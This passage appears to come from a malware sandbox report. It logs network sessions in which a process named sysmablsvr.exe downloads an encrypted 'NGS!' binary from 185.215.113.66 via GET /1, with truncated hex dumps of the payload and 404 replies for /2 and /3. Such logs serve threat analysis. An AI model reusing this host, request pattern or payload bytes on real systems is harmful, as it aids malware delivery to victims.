Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49793	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:39.131509066 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:11:39.986016989 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:39 GMT Content-Type: application/octet-stream Content-Length: 8200 Last-Modified: Tue, 17 Sep 2024 21:10:46 GMT Connection: keep-alive ETag: "66e9f056-2008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 21 a4 02 5f bf d7 06 d0 66 db 95 d0 b6 7e 4d 73 1b 12 a6 71 ad 9c e5 69 c6 d6 5b 25 88 98 4a 89 82 fe e6 74 a6 38 1a eb 3e 22 ce e3 a2 d2 d5 01 68 0a 70 a8 79 07 ca f9 4c 63 fc eb b6 98 72 6f 5b a4 fa 57 f8 5e 70 83 26 95 85 fd 2f c0 2e 95 74 aa 49 42 a7 2e 1a 40 26 ca ef af 2c b0 be 12 07 f5 63 f0 b4 78 4b 47 cd a7 59 fd 1a 5c 3f be ac ac 2a b7 38 39 74 51 f8 8f f1 22 99 30 94 dc b4 95 94 f6 e0 00 08 e6 10 ad 8e 8a e6 3c b4 85 fb 65 a2 c8 14 27 1d 9d 19 75 f6 6c 4b e3 b1 ff 4e 87 a5 56 da 0d e6 3d f0 be 3e 59 7a 8e 88 30 45 59 f1 90 41 a3 37 ea 67 46 78 11 40 c9 09 7a eb 59 32 7d 2d 1c ae 94 12 63 87 73 11 71 84 4f bc 40 49 13 a6 6e f1 3a cd c4 f3 e5 1f 2b 21 50 28 5a 0c 6c 89 1b ff 33 1a 7b ad 1d 43 06 27 ba db 3b 89 b8 22 d4 a0 52 4a f2 1c c3 4b 6d 64 b4 af 05 c5 78 c0 fd e7 1d f9 77 02 1a 85 6c 0a b5 58 1c 31 aa 89 b5 d0 1e 95 be 53 c5 61 fc c8 cc b2 b0 69 93 73 d5 12 6e a9 83 9e 7d 5f 77 e5 ab 7a 5d 52 54 6a c3 6e 39 15 f0 75 80 ae 26 ae 5d 7f ee 72 b2 fa 99 64 f7 32 71 [TRUNCATED] Data Ascii: NGS!!_f~Msqi[%Jt8>"hpyLcro[W^p&/.tIB.@&,cxKGY\?89tQ"0<e'ulKNV=>Yz0EYA7gFx@zY2}-csqO@In:+!P(Zl3{C';"RJKmdxwlX1Saisn}_wz]RTjn9u&]rd2qM;+IK_+;Zh~XS]`iW7WA%nWr&+d7~k\:W?F%x!<aoW(s3cxvxze/UKEhoXnZ[}m<aDu}e2}YGBUcWJN4llf~x$V=lEZyp6v'-R~=&/B$K^Dh{$u?c\4b{6BToNBj6;8LTD6=9$h@v/JMEC0H1oCcTmN{Y#[Mh"rDSp:7"m?\[xu`\pd.A$B?arVa-q'K^F.!\|^\'_YJ\aP=C_QS/^Qf$hzT>P]@sy\}6]SE]hU\"2X\
Sep 17, 2024 23:11:39.986195087 CEST	124	IN	Data Raw: 3b e7 4a 6f 07 26 f2 5f 3c 6d aa fe 95 db 97 f8 b0 2f 4b 12 56 5b b9 33 67 ae bb 5e ea 73 dd 88 84 53 85 7c 35 4b 29 f2 10 dc 76 6c 0a f8 7a 1e 15 12 80 4a 66 51 6c 2d 4d e3 7b cd c8 d5 04 a6 07 dd 75 70 2c 3e 0d 9f 90 09 28 ba 4a fe 89 ba 37 36 Data Ascii: ;Jo&_<m/KV[3g^sS\|5K)vlzJfQl-M{up,>(J76s}azeROI;Q
Sep 17, 2024 23:11:39.986211061 CEST	1236	IN	Data Raw: f7 ba 52 84 70 e5 c8 47 fd 39 a1 05 f5 5c e7 d1 c9 36 f2 8a 1c c4 96 85 23 4e f5 5f d4 34 f5 36 b8 ea 9b 58 a5 dd 50 67 67 34 15 b9 c7 93 c0 53 cb a1 8f e1 01 74 62 c9 b5 29 c1 d3 32 fe 7c 34 dd 74 a5 f1 27 07 f9 31 b8 18 fd 1c 3b 3e 18 65 61 00 Data Ascii: RpG9\6#N_46XPgg4Stb)2\|4t'1;>eaJ:A}=ywQS<~a*v'`b#iKOkuV[Upv+jhU(/fxGrUu]Wu#.^0[oyJu?.~>8^vA
Sep 17, 2024 23:11:39.986448050 CEST	1236	IN	Data Raw: 25 a2 e9 39 6c 76 a6 97 81 c0 d6 ae 1c d1 d3 cd 66 22 9b 5d fb e5 4e 71 16 2e e9 62 84 35 b7 ed a4 22 a7 11 10 f7 9a de 5a 66 0d c9 75 1b 23 e9 7a 44 e3 7c 25 54 26 88 2a ad ae 84 04 e8 6f 21 00 01 91 cf 85 a0 0c d7 de fb 77 5a 42 88 81 3e cb 1e Data Ascii: %9lvf"]Nq.b5"Zfu#zD\|%T&*o!wZB>AQ<kFU7ETbUOBE+xf4So`!yC7eo,z_)%cAIwhHPl~%yT{&T.M'J%xX+QT_3}psbLA
Sep 17, 2024 23:11:39.986484051 CEST	1236	IN	Data Raw: cf 66 20 57 4e 02 f5 c4 2c 0f 1d 46 9c 09 eb 2a 5a 41 9d 12 45 06 ac 6f 3a d2 a2 c9 cd 8b 1e 96 ef a6 0c ae 37 1b 56 eb 3c 7f 11 bf 45 4c 9c 1e d0 7e 6a 8c 83 aa 7c 22 c8 87 68 53 85 10 11 ab 87 3d af c0 10 2f aa 30 79 28 f8 e8 1a b2 74 6a 85 4f Data Ascii: f WN,FZAEo:7V<EL~j\|"hS=/0y(tjOJG.{oG!/CfoB=1c}cf@2$G)k'[Y42p~7>:E-``qQJ`n`ED?Z:/&
Sep 17, 2024 23:11:39.986516953 CEST	1236	IN	Data Raw: 07 6a 4a 15 92 fd 68 38 12 fe 18 98 76 59 9a 81 cc 79 e2 73 8b d3 71 d7 91 a4 a0 2b 0b f7 3f 72 a9 0b 19 f2 ab b8 3d 52 f4 82 b6 fc 87 ef eb 03 3d 1a c2 fd c1 fe f4 e9 40 9a 85 ee 4e ae 45 d4 6d 82 e0 28 8c f7 91 8a 6d f3 e5 c0 e2 80 ff fc a4 b3 Data Ascii: jJh8vYysq+?r=R=@NEm(m>itdQ@KE<9Pk-T4uZ>e "/.dg1B!w?CRb#fV4f[U?j8,oz!\oDQbJ-xlWh,'123
Sep 17, 2024 23:11:39.986551046 CEST	1236	IN	Data Raw: 9b 0e a3 11 48 1b 43 5d 3a ca 67 9b 95 74 c6 1a 5e 97 f0 a3 3f e6 6b 38 62 2b 54 3f 5d a9 3c 9a de e2 92 49 b8 11 66 62 7a c6 78 74 91 48 72 42 03 51 ac b0 5b b1 f9 67 cc 45 6f e0 33 80 ff 25 5b 6c 51 63 ee 7c 1c b7 45 08 bf c5 28 c1 b1 ce 91 d7 Data Ascii: HC]:gt^?k8b+T?]<IfbzxtHrBQ[gEo3%[lQc\|E(#iUJ_YV]PaS3\|O#?jHq{!ir(KW>VX({;_.(;t)9Nn8*):sSY5.N=4TfGZGBAnI
Sep 17, 2024 23:11:39.989710093 CEST	924	IN	Data Raw: 9c 1c 31 7a ca 26 09 49 50 f8 f9 1e 63 42 07 ae bc a4 d2 2f 12 be 97 96 6d aa 30 8d b3 e4 c9 ec f2 92 88 e6 4b 7b 47 4a d0 8d c2 bb 94 5d f7 9f 19 45 07 ac 8c a6 1c 8c c9 1b f9 65 88 42 0a 6a 04 e6 bd b7 7c 29 19 e4 71 2f 5e c2 79 5d e8 7e 65 bb Data Ascii: 1z&IPcB/m0K{GJ]EeBj\|)q/^y]~eKLZ\|sJvsdfN=B52JVP6/4#.$cy.I)&S8:~6iN7>G]rV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49794	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:41.029292107 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:11:41.832546949 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:41 GMT Content-Type: application/octet-stream Content-Length: 8200 Last-Modified: Tue, 17 Sep 2024 21:10:46 GMT Connection: keep-alive ETag: "66e9f056-2008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 21 a4 02 5f bf d7 06 d0 66 db 95 d0 b6 7e 4d 73 1b 12 a6 71 ad 9c e5 69 c6 d6 5b 25 88 98 4a 89 82 fe e6 74 a6 38 1a eb 3e 22 ce e3 a2 d2 d5 01 68 0a 70 a8 79 07 ca f9 4c 63 fc eb b6 98 72 6f 5b a4 fa 57 f8 5e 70 83 26 95 85 fd 2f c0 2e 95 74 aa 49 42 a7 2e 1a 40 26 ca ef af 2c b0 be 12 07 f5 63 f0 b4 78 4b 47 cd a7 59 fd 1a 5c 3f be ac ac 2a b7 38 39 74 51 f8 8f f1 22 99 30 94 dc b4 95 94 f6 e0 00 08 e6 10 ad 8e 8a e6 3c b4 85 fb 65 a2 c8 14 27 1d 9d 19 75 f6 6c 4b e3 b1 ff 4e 87 a5 56 da 0d e6 3d f0 be 3e 59 7a 8e 88 30 45 59 f1 90 41 a3 37 ea 67 46 78 11 40 c9 09 7a eb 59 32 7d 2d 1c ae 94 12 63 87 73 11 71 84 4f bc 40 49 13 a6 6e f1 3a cd c4 f3 e5 1f 2b 21 50 28 5a 0c 6c 89 1b ff 33 1a 7b ad 1d 43 06 27 ba db 3b 89 b8 22 d4 a0 52 4a f2 1c c3 4b 6d 64 b4 af 05 c5 78 c0 fd e7 1d f9 77 02 1a 85 6c 0a b5 58 1c 31 aa 89 b5 d0 1e 95 be 53 c5 61 fc c8 cc b2 b0 69 93 73 d5 12 6e a9 83 9e 7d 5f 77 e5 ab 7a 5d 52 54 6a c3 6e 39 15 f0 75 80 ae 26 ae 5d 7f ee 72 b2 fa 99 64 f7 32 71 [TRUNCATED] Data Ascii: NGS!!_f~Msqi[%Jt8>"hpyLcro[W^p&/.tIB.@&,cxKGY\?89tQ"0<e'ulKNV=>Yz0EYA7gFx@zY2}-csqO@In:+!P(Zl3{C';"RJKmdxwlX1Saisn}_wz]RTjn9u&]rd2qM;+IK_+;Zh~XS]`iW7WA%nWr&+d7~k\:W?F%x!<aoW(s3cxvxze/UKEhoXnZ[}m<aDu}e2}YGBUcWJN4llf~x$V=lEZyp6v'-R~=&/B$K^Dh{$u?c\4b{6BToNBj6;8LTD6=9$h@v/JMEC0H1oCcTmN{Y#[Mh"rDSp:7"m?\[xu`\pd.A$B?arVa-q'K^F.!\|^\'_YJ\aP=C_QS/^Qf$hzT>P]@sy\}6]SE]hU\"2X\
Sep 17, 2024 23:11:41.832598925 CEST	1236	IN	Data Raw: 3b e7 4a 6f 07 26 f2 5f 3c 6d aa fe 95 db 97 f8 b0 2f 4b 12 56 5b b9 33 67 ae bb 5e ea 73 dd 88 84 53 85 7c 35 4b 29 f2 10 dc 76 6c 0a f8 7a 1e 15 12 80 4a 66 51 6c 2d 4d e3 7b cd c8 d5 04 a6 07 dd 75 70 2c 3e 0d 9f 90 09 28 ba 4a fe 89 ba 37 36 Data Ascii: ;Jo&_<m/KV[3g^sS\|5K)vlzJfQl-M{up,>(J76s}azeROI;QRpG9\6#N_46XPgg4Stb)2\|4t'1;>eaJ:A}=ywQS<~a
Sep 17, 2024 23:11:41.832653046 CEST	1236	IN	Data Raw: ef ac c3 55 42 e6 3b 98 2e 10 6b 2b 45 a9 66 f5 d5 16 44 73 51 09 ae 9d 91 12 6b b4 10 4f d1 c2 03 0a 5a 70 d8 c5 59 46 f6 67 25 f5 80 81 b0 46 52 fd 2d 6c c9 b0 b1 40 70 3b 19 98 bd e1 02 df a7 8b bb 4d a4 5d 0c 38 fb 33 ac 89 0f 03 a1 e5 3c 8c Data Ascii: UB;.k+EfDsQkOZpYFg%FR-l@p;M]83<(QW\iH"1MDKl,s0k%9lvf"]Nq.b5"Zfu#zD\|%T&o!wZB>AQ<kFU7ETbUOBE+x
Sep 17, 2024 23:11:41.834614038 CEST	1236	IN	Data Raw: 3d bf 19 32 51 c7 cf e1 45 4a 24 0f 7e 4e 03 98 f2 ad a0 d4 0f 32 6f 75 01 84 39 69 ed fd b8 cb 9e 48 a2 9c 50 d5 b2 79 14 11 ee 91 17 ba 1c 24 39 8d 18 18 28 03 ff 86 c8 ef ae ac 1a d9 d6 b5 31 3a 3a 09 d3 0a 33 8e 4e c7 77 bc 4f c5 dd ce f4 50 Data Ascii: =2QEJ$~N2ou9iHPy$9(1::3NwOP[6Y^ZWKC@2l&6K!f WN,F*ZAEo:7V<EL~j\|"hS=/0y(tjOJG.{oG!/CfoB=
Sep 17, 2024 23:11:41.834651947 CEST	1236	IN	Data Raw: 09 45 40 cc f4 00 13 05 a2 a7 3b 9a d3 53 a7 33 11 08 45 d0 f7 05 89 97 86 37 84 70 98 ae 1e 4f a7 4d c8 47 e4 a2 77 5f 9f 6e 38 26 20 80 04 a8 49 ea 31 e0 bb 5f 5e 28 72 0a 45 4c e7 b5 b1 56 a4 ae e1 a9 46 6b 1d 31 99 44 30 74 c3 c8 b8 30 a8 9e Data Ascii: E@;S3E7pOMGw_n8& I1_^(rELVFk1D0t0ijs?D7X="c'x-&Zd/=jJh8vYysq+?r=R=@NEm(m>itdQ@KE<9Pk-T
Sep 17, 2024 23:11:41.834686041 CEST	1236	IN	Data Raw: 89 49 c7 3c 2d df b3 58 1c 60 4c 81 18 ed 8f 3b a5 5d 02 56 f5 47 bb ba 9f 81 9b dd ef 17 8b 84 d8 e1 4c cd 58 be 03 74 25 f4 7f d0 21 51 1a ac b7 18 66 fd 44 98 b5 12 27 02 0c a5 2e 50 d2 b0 81 c8 e4 06 93 65 26 8a 0e fe 54 ea eb 45 df fd 3a e8 Data Ascii: I<-X`L;]VGLXt%!QfD'.Pe&TE:d@.g;N+?)DGuHC]:gt^?k8b+T?]<IfbzxtHrBQ[gEo3%[lQc\|E(#iUJ_YV]PaS3\|O#?jHq{
Sep 17, 2024 23:11:41.834723949 CEST	1048	IN	Data Raw: 3e be b1 99 6a a9 f2 eb 53 a4 95 58 30 9b 67 20 a6 03 a5 c9 cd cc 88 df cc 88 07 5d 4e 31 24 43 f6 71 f1 69 34 e9 71 08 eb e5 22 54 a2 8b 81 12 76 c9 e1 2d d5 4b 0c 5a 36 d0 17 db 78 2d 1a d4 76 be d0 2c 49 df 87 18 62 9c f6 17 d4 3f 5d ac ca 70 Data Ascii: >jSX0g ]N1$Cqi4q"Tv-KZ6x-v,Ib?]piXB {-E)P}D~MI.#l1z&IPcB/m0K{GJ]EeBj\|)q/^y]~eKLZ\|sJvsdfN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49796	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:43.982995987 CEST	274	OUT	GET /1 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 185.215.113.66 Connection: Keep-Alive
Sep 17, 2024 23:11:44.682634115 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:44 GMT Content-Type: application/octet-stream Content-Length: 8200 Last-Modified: Tue, 17 Sep 2024 21:10:46 GMT Connection: keep-alive ETag: "66e9f056-2008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 21 a4 02 5f bf d7 06 d0 66 db 95 d0 b6 7e 4d 73 1b 12 a6 71 ad 9c e5 69 c6 d6 5b 25 88 98 4a 89 82 fe e6 74 a6 38 1a eb 3e 22 ce e3 a2 d2 d5 01 68 0a 70 a8 79 07 ca f9 4c 63 fc eb b6 98 72 6f 5b a4 fa 57 f8 5e 70 83 26 95 85 fd 2f c0 2e 95 74 aa 49 42 a7 2e 1a 40 26 ca ef af 2c b0 be 12 07 f5 63 f0 b4 78 4b 47 cd a7 59 fd 1a 5c 3f be ac ac 2a b7 38 39 74 51 f8 8f f1 22 99 30 94 dc b4 95 94 f6 e0 00 08 e6 10 ad 8e 8a e6 3c b4 85 fb 65 a2 c8 14 27 1d 9d 19 75 f6 6c 4b e3 b1 ff 4e 87 a5 56 da 0d e6 3d f0 be 3e 59 7a 8e 88 30 45 59 f1 90 41 a3 37 ea 67 46 78 11 40 c9 09 7a eb 59 32 7d 2d 1c ae 94 12 63 87 73 11 71 84 4f bc 40 49 13 a6 6e f1 3a cd c4 f3 e5 1f 2b 21 50 28 5a 0c 6c 89 1b ff 33 1a 7b ad 1d 43 06 27 ba db 3b 89 b8 22 d4 a0 52 4a f2 1c c3 4b 6d 64 b4 af 05 c5 78 c0 fd e7 1d f9 77 02 1a 85 6c 0a b5 58 1c 31 aa 89 b5 d0 1e 95 be 53 c5 61 fc c8 cc b2 b0 69 93 73 d5 12 6e a9 83 9e 7d 5f 77 e5 ab 7a 5d 52 54 6a c3 6e 39 15 f0 75 80 ae 26 ae 5d 7f ee 72 b2 fa 99 64 f7 32 71 [TRUNCATED] Data Ascii: NGS!!_f~Msqi[%Jt8>"hpyLcro[W^p&/.tIB.@&,cxKGY\?89tQ"0<e'ulKNV=>Yz0EYA7gFx@zY2}-csqO@In:+!P(Zl3{C';"RJKmdxwlX1Saisn}_wz]RTjn9u&]rd2qM;+IK_+;Zh~XS]`iW7WA%nWr&+d7~k\:W?F%x!<aoW(s3cxvxze/UKEhoXnZ[}m<aDu}e2}YGBUcWJN4llf~x$V=lEZyp6v'-R~=&/B$K^Dh{$u?c\4b{6BToNBj6;8LTD6=9$h@v/JMEC0H1oCcTmN{Y#[Mh"rDSp:7"m?\[xu`\pd.A$B?arVa-q'K^F.!\|^\'_YJ\aP=C_QS/^Qf$hzT>P]@sy\}6]SE]hU\"2X\
Sep 17, 2024 23:11:44.682692051 CEST	224	IN	Data Raw: 3b e7 4a 6f 07 26 f2 5f 3c 6d aa fe 95 db 97 f8 b0 2f 4b 12 56 5b b9 33 67 ae bb 5e ea 73 dd 88 84 53 85 7c 35 4b 29 f2 10 dc 76 6c 0a f8 7a 1e 15 12 80 4a 66 51 6c 2d 4d e3 7b cd c8 d5 04 a6 07 dd 75 70 2c 3e 0d 9f 90 09 28 ba 4a fe 89 ba 37 36 Data Ascii: ;Jo&_<m/KV[3g^sS\|5K)vlzJfQl-M{up,>(J76s}azeROI;QRpG9\6#N_46XPgg4Stb)2\|4t'1;>eaJ:A}=
Sep 17, 2024 23:11:44.682729006 CEST	1236	IN	Data Raw: 07 b2 d0 79 b4 77 0b 51 11 af 53 8c f3 3c ff d1 7e 61 83 2a a8 76 83 ee 9f e2 dc 27 60 e7 9b 08 17 f6 8a 62 10 23 69 1d 4b 4f 85 84 e3 b7 91 88 0e 09 f5 6b 75 a1 56 c8 0d fa 5b fd 12 55 70 9d d1 c6 88 05 76 2b 6a 68 cd fb 93 55 28 2f a5 66 78 b9 Data Ascii: ywQS<~av'`b#iKOkuV[Upv+jhU(/fxGrUu]Wu#.^0[oyJu?.~>8^vAo-:6+XqzYg[/B.\\%gd."l,0U10,H$oI$?cfKE
Sep 17, 2024 23:11:44.682799101 CEST	1236	IN	Data Raw: a8 37 c4 45 54 19 12 62 e5 55 4f 42 45 2b 78 e7 90 d8 e4 66 f0 9f a6 34 93 f7 d9 53 c7 e8 6f ef 0a b9 60 b1 d6 1e 02 21 79 43 0d b7 ed 37 ee 65 6f 2c 0b 7a 5f dd a6 98 29 25 e4 99 07 63 9b 17 41 11 49 eb eb 77 68 08 48 b9 f3 be a3 d8 1c 0d 8c 50 Data Ascii: 7ETbUOBE+xf4So`!yC7eo,z_)%cAIwhHPl~%yT{&T.M'J%xX+QT_3}psbLABojv6V\|Xk{p<$1,8K~#:LtH#H{:Aj/Xt\i6ep
Sep 17, 2024 23:11:44.682832956 CEST	1236	IN	Data Raw: f3 f3 2f 0b d0 fb 92 8e 43 9b 66 6f 42 3d cf fd 90 df f8 ed bc 98 31 d5 d0 f1 15 b4 11 c8 d8 63 95 cf be 7d b3 93 d5 63 17 66 8c 0d c3 b7 40 c8 d2 ae 32 e1 d5 24 47 29 ff 6b a7 97 27 5b 59 98 9a 0d a1 ac cc 01 34 32 70 7e a3 04 e8 e9 de b1 37 f1 Data Ascii: /CfoB=1c}cf@2$G)k'[Y42p~7>:E-``qQJ`n`ED?*Z:/&,c{}J;GCzcw3g_\|Dhi8-5O&(b)-0[Fyl"<!u/_
Sep 17, 2024 23:11:44.682866096 CEST	1236	IN	Data Raw: 06 0f 08 16 ab 4b 04 f9 45 3c 39 dc 50 ba 6b d0 99 2d 54 1b e1 fd ad a2 34 0a 75 09 19 5a af 3e 89 fd 65 ce 8c 20 b1 d5 17 a4 22 da 8a 88 2f d7 2e 64 67 86 b8 31 13 42 21 1d 77 d3 e0 3f 43 52 96 62 e1 ab e0 23 8d fa be 05 66 8f 56 9a 34 c8 db 66 Data Ascii: KE<9Pk-T4uZ>e "/.dg1B!w?CRb#fV4f[U?j8,oz!\oDQbJ-xlWh,'123n]YmrP5Hh\#p1<PMVE2nR]A[\|#)(JSbFrl%
Sep 17, 2024 23:11:44.682899952 CEST	896	IN	Data Raw: b4 19 aa be 7c 4f 23 f0 3f f2 6a 06 48 ed c3 71 cf d4 7b 05 21 7f 69 72 01 e0 8c e2 28 ea cf 4b 0a 57 3e 56 f7 58 28 fa 7b b8 94 e5 0f e7 88 c6 f1 3b 5f e0 df 2e 28 3b 88 74 c4 bb bb a0 c3 0e cb 29 c4 b4 39 ca c9 4e 1d 6e 12 38 2a e0 29 3a bb e0 Data Ascii: \|O#?jHq{!ir(KW>VX({;_.(;t)9Nn8*):sSY5.N=4TfGZGBAnI1$,E.wN]-@$U]J%d2L+T`YLl>I<yC;dLnHBj
Sep 17, 2024 23:11:44.682940960 CEST	892	IN	Data Raw: ca 87 43 bd 37 4d e9 0c fa 76 51 05 07 ac a2 63 36 22 93 64 4a 45 cb 02 89 1f 6b 38 9d 94 1b c2 05 7b 82 12 15 01 5d f1 47 60 11 62 f5 11 ab 0e ce de e4 41 74 e2 06 55 63 b1 ce ea 58 4c e8 9d 3e 9b 12 f0 96 84 68 eb 59 42 39 4e 38 45 8f f2 67 3c Data Ascii: C7MvQc6"dJEk8{]G`bAtUcXL>hYB9N8Eg<%35Tpt}%B<aL>jSX0g ]N1$Cqi4q"Tv-KZ6x-v,Ib?]piXB {-E)P}D~MI.#l1
Sep 17, 2024 23:11:44.771183968 CEST	272	IN	Data Raw: 77 20 d2 e9 82 47 d2 8b 5b 97 b7 13 32 50 05 5d 45 c8 e0 9b c9 8b a1 81 00 cd 52 85 bf 48 a6 1b 71 93 08 d9 03 75 f4 46 fb 9e 9b 65 be 8b cb 7a c2 af f4 63 97 2e d3 c2 7e ae db 52 b1 a7 89 1f e7 85 81 7e 86 de 2c e8 fd a8 94 57 a3 05 25 33 f6 c6 Data Ascii: w G[2P]ERHquFezc.~R~,W%36NgQ2~a8GI9708qARgsjUcoB\3h9aF3m:*1\g1<)TXBK!DOPWuep{g@m^xu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49797	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:46.807744980 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:11:47.503910065 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:47 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49799	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:49.558219910 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:11:50.288872004 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:50 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49800	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
